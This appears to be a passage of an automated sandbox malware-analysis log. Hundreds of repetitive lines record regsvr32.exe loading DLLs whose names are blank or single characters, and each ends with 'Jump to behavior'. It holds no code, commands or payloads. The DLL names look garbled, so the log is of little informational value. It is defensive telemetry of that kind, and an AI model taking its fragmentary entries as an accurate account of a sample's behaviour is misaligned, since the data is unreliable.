Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ~ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: } .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \| .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: { .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: z .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: y .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: x .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: w .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: v .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: u .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: t .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: s .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: r .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: q .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: p .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: o .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: n .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: m .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: l .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: k .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: j .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: i .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: h .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: g .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: f .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: e .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: d .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: c .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: b .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: a .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ` .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: _ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ^ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ] .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: [ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: z .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: y .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: x .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: w .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: v .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: u .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: t .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: s .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: r .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: q .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: p .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: o .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: n .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: m .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: l .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: k .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: j .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: i .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: h .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: g .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: f .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: e .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: d .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: c .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: b .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: a .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: @ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ? .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: > .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: = .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: < .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ; .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: : .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 9 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 8 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 7 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 6 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 5 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 4 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 3 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 2 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 1 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 0 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: - .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: , .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: + .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: * .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ) .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ( .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ' .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: & .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: % .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: $ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: # .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ' .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ! .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ~ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: } .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \| .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: { .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: z .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: y .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: x .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: w .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: v .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: u .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: t .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: s .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: r .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: q .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: p .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: o .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: n .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: m .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: l .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: k .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: j .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: i .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: h .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: g .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: f .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: e .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: d .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: c .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: b .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: a .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ` .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: _ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ^ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ] .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: [ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: z .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: y .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: x .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: w .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: v .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: u .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: t .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: s .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: r .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: q .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: p .dll	Jump to behavior
